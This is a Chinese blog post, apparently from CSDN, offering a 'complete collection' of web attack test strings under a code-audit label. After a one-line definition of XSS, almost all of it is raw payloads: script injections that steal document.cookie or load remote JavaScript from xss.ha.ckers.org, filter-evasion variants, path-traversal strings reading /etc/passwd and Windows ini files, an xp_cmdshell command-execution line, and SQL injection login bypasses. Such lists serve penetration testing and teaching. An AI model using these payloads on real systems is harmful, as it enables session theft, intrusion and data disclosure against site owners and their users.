代码审计--XSS跨站测试代码大全

最新推荐文章于 2023-02-11 22:23:04 发布

做一个有魅力的程序员

最新推荐文章于 2023-02-11 22:23:04 发布

阅读量1.6k

点赞数

分类专栏： Hacker 文章标签： XSS 注入攻击 PHP代码审计

Hacker 专栏收录该内容

5 篇文章 0 订阅

订阅专栏

代码审计之----------XSS

XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。

'><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

%3Cscript%3Ealert('XSS')%3C/script%3

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp

%22%3cscript%3ealert(%22xss%22)%3c/script%3e

%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

%3f.jsp

?sql_debug=1

a%5c.aspx

a.jsp/<script>alert('Vulnerable')</script>

a?<script>alert('Vulnerable')</script>

"><script>alert('Vulnerable')</script>

';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&

%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

%3Cscript%3Ealert(document. domain);%3C/script%3E&

%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=

1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=

http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd

..\..\..\..\..\..\..\..\windows\system.ini

\..\..\..\..\..\..\..\..\windows\system.ini

'';!--"<XSS>=&{()}

<IMGsrc=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

"<IMG src=java\0script:alert(\"XSS\")>";' > out

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><Aclass="XSS"></A>

<STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

getURL("javascript:alert('XSS')")

a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);

"> <BODY ONLOAD="a();"><SCRIPT>functiona(){alert('XSS');}</SCRIPT><"

<IMG src="javascript:alert('XSS')"

<IMGsrc="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

<SCRIPT a=">"src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT =">"src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT a=">" ''src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT "a='>'"src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PTsrc="http://xss.ha.ckers.org/a.js"></SCRIPT>

admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]

做一个有魅力的程序员

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
代码审计--XSS跨站测试代码大全

代码审计之----------XSSXSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。 '>alert(document.cookie)='>alert(document.cookie)alert(docum
复制链接

扫一扫